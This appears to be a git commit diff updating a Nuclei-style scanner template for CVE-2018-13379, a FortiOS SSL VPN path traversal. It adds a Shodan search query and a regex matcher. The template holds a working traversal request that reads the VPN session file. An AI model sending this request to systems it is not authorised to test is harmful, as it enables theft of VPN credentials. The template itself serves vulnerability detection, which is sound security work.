Update CVE-2018-13379.yaml

patch-1
Prince Chaddha 2022-06-25 13:18:45 +05:30 committed by GitHub
parent 167ff1e909
commit c0d51a6efa
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 9 additions and 5 deletions

View File

@ -14,15 +14,19 @@ info:
cvss-score: 9.8
cve-id: CVE-2018-13379
cwe-id: CWE-22
tags: cve,cve2018,fortios,cisa
metadata:
verified: true
shodan-query: http.html:"/remote/login" "xxxxxxxx"
tags: cve,cve2018,fortios,cisa,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
matchers:
- type: word
words:
- "var fgt_lang"
matchers:
- type: regex
part: body
regex:
- '^var fgt_lang ='
# Enhanced by mp on 2022/05/12